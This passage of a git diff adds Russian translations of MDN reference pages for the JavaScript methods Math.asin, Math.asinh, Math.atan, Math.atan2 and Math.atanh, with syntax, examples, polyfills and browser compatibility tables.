+ <li>{{jsxref("Math.cosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.sinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.tanh()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/asin/index.html b/files/ru/web/javascript/reference/global_objects/math/asin/index.html
new file mode 100644
index 0000000000..beb9fcfe19
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/asin/index.html
@@ -0,0 +1,125 @@
+---
+title: Math.asin()
+slug: Web/JavaScript/Reference/Global_Objects/Math/asin
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.asin()</code></strong> возвращает арксинус числа (в радианах), то есть</p>
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arcsin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> уникальный </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sin</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ уникальный } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{такой, что} \; \sin(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.asin(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.asin()</code> возвращает числовое значение между <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> и <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> радианами для значения <code>x</code>, лежащего в диапазоне от -1 до 1. Метод вернёт {{jsxref("NaN")}}, если значение <code>x</code> выйдет за этот диапазон.</p>
+<p>Поскольку метод <code>asin()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.asin()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.asin" name="Example:_Using_Math.asin">Пример: использование метода <code>Math.asin()</code></h3>
+<pre class="brush: js">Math.asin(-2);  // NaN
+Math.asin(-1);  // -1.5707963267948966 (-pi/2)
+Math.asin(0);   // 0
+Math.asin(0.5); // 0.5235987755982989
+Math.asin(1);   // 1.570796326794897 (pi/2)
+Math.asin(2);   // NaN
+</pre>
+<p>Для значений, меньших -1 или больших 1, метод <code>Math.asin()</code> возвращает {{jsxref("NaN")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.asin', 'Math.asin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/asinh/index.html b/files/ru/web/javascript/reference/global_objects/math/asinh/index.html
new file mode 100644
index 0000000000..f1d1937d36
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/asinh/index.html
@@ -0,0 +1,135 @@
+---
+title: Math.asinh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/asinh
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asinh
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.asinh()</code></strong> возвращает гиперболический арксинус числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arsinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> уникальный </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sinh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ уникальный } \; y \; \text{такой, что} \; \sinh(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.asinh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>asinh()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.asinh()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.asinh" name="Example:_Using_Math.asinh">Пример: использование метода <code>Math.asinh()</code></h3>
+
+<pre class="brush: js">Math.asinh(1);  // 0.881373587019543
+Math.asinh(0);  // 0
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Мы имеем <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">arsinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mrow><mi>x</mi><mo>+</mo><msqrt><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>1</mn></mrow></msqrt></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {arsinh} (x) = \ln \left(x + \sqrt{x^{2} + 1} \right)</annotation></semantics></math>, так что этот метод может эмулироваться следующим образом:</p>
+
+<pre class="brush: js">Math.asinh = Math.asinh || function(x) {
+  if (x === -Infinity) {
+    return x;
+  } else {
+    return Math.log(x + Math.sqrt(x * x + 1));
+  }
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.asinh', 'Math.asinh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.atanh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.cosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.sinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.tanh()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/atan/index.html b/files/ru/web/javascript/reference/global_objects/math/atan/index.html
new file mode 100644
index 0000000000..78ece8df0f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/atan/index.html
@@ -0,0 +1,120 @@
+---
+title: Math.atan()
+slug: Web/JavaScript/Reference/Global_Objects/Math/atan
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.atan()</code></strong> возвращает арктангенс числа (в радианах), то есть</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arctan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> уникальный </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ уникальный } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{такой, что} \; \tan(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.atan(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.atan()</code> возвращает числовое значение между <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> и <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> радианами.</p>
+<p>Поскольку метод <code>atan()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.atan()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.atan" name="Example:_Using_Math.atan">Пример: использование метода <code>Math.atan()</code></h3>
+<pre class="brush: js">Math.atan(1);  // 0.7853981633974483
+Math.atan(0);  // 0
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/atan2/index.html b/files/ru/web/javascript/reference/global_objects/math/atan2/index.html
new file mode 100644
index 0000000000..08cdb00c7e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/atan2/index.html
@@ -0,0 +1,134 @@
+---
+title: Math.atan2()
+slug: Web/JavaScript/Reference/Global_Objects/Math/atan2
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.atan2()</code></strong> возвращает арктангенс от частного своих аргументов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.atan2(<var>y</var>, <var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>y</code></dt>
+ <dd>Первое число.</dd>
+ <dt><code>x</code></dt>
+ <dd>Второе число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.atan2()</code> возвращает числовое значение от -π до π, представляющее угол тета точки <code>(x, y)</code>. Это выраженный в радианах угол, отсчитываемый против часовой стрелки от положительного направления оси X до точки <code>(x, y)</code>. Обратите внимание, что первым в метод передаётся координата y, а только вторым — координата x.</p>
+<p>В метод <code>Math.atan2()</code> аргументы <code>x</code> и <code>y</code> передаются по отдельности, в то время, как в метод <code>Math.atan()</code> передаётся отношение этих двух аргументов.</p>
+<p>Поскольку метод <code>atan2()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.atan2()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.atan2" name="Example:_Using_Math.atan2">Пример: использование метода <code>Math.atan2()</code></h3>
+<pre class="brush: js">Math.atan2(90, 15); // 1.4056476493802699
+Math.atan2(15, 90); // 0.16514867741462683
+
+Math.atan2(±0, -0);               // ±PI.
+Math.atan2(±0, +0);               // ±0.
+Math.atan2(±0, -x);               // ±PI для x &gt; 0.
+Math.atan2(±0, x);                // ±0 дляx &gt; 0.
+Math.atan2(-y, ±0);               // -PI/2 для y &gt; 0.
+Math.atan2(y, ±0);                // PI/2 для y &gt; 0.
+Math.atan2(±y, -Infinity);        // ±PI для конечного y &gt; 0.
+Math.atan2(±y, +Infinity);        // ±0 для конечного y &gt; 0.
+Math.atan2(±Infinity, x);         // ±PI/2 для конечного x.
+Math.atan2(±Infinity, -Infinity); // ±3*PI/4.
+Math.atan2(±Infinity, +Infinity); // ±PI/4.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.5', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan2', 'Math.atan2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/atanh/index.html b/files/ru/web/javascript/reference/global_objects/math/atanh/index.html
new file mode 100644
index 0000000000..55aabd470e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/atanh/index.html
@@ -0,0 +1,137 @@
+---
+title: Math.atanh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/atanh
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atanh
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.atanh()</code></strong> возвращает гиперболический арктангенс числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mrow><mo>(</mo><mrow><mo>-</mo><mn>1</mn><mo>,</mo><mn>1</mn></mrow><mo>)</mo></mrow><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arctanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> уникальный </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tanh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ уникальный } \; y \; \text{такой, что} \; \tanh(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.atanh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>atanh()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.atanh()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.atanh" name="Example:_Using_Math.atanh">Пример: использование метода <code>Math.atanh()</code></h3>
+
+<pre class="brush: js">Math.atanh(-2);  // NaN
+Math.atanh(-1);  // -Infinity
+Math.atanh(0);   // 0
+Math.atanh(0.5); // 0.5493061443340548
+Math.atanh(1);   // Infinity
+Math.atanh(2);   // NaN
+</pre>
+
+<p>Для значений, меньших -1 или больших 1, метод <code>Math.atanh()</code> возвращает {{jsxref("NaN")}}.</p>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Для <math><semantics><mrow><mrow><mo>|</mo><mi>x</mi><mo>|</mo></mrow><mo>&lt;</mo><mn>1</mn></mrow><annotation encoding="TeX">\left|x\right| &lt; 1</annotation></semantics></math>, мы имеем <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">artanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mfrac><mrow><mn>1</mn><mo>+</mo><mi>x</mi></mrow><mrow><mn>1</mn><mo>-</mo><mi>x</mi></mrow></mfrac><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right)</annotation></semantics></math>, так что этот метод может эмулироваться следующим образом:</p>
+
+<pre class="brush: js">Math.atanh = Math.atanh || function(x) {
+  return Math.log((1+x)/(1-x)) / 2;
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atanh', 'Math.atanh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.asinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.cosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.sinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.tanh()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/cbrt/index.html b/files/ru/web/javascript/reference/global_objects/math/cbrt/index.html
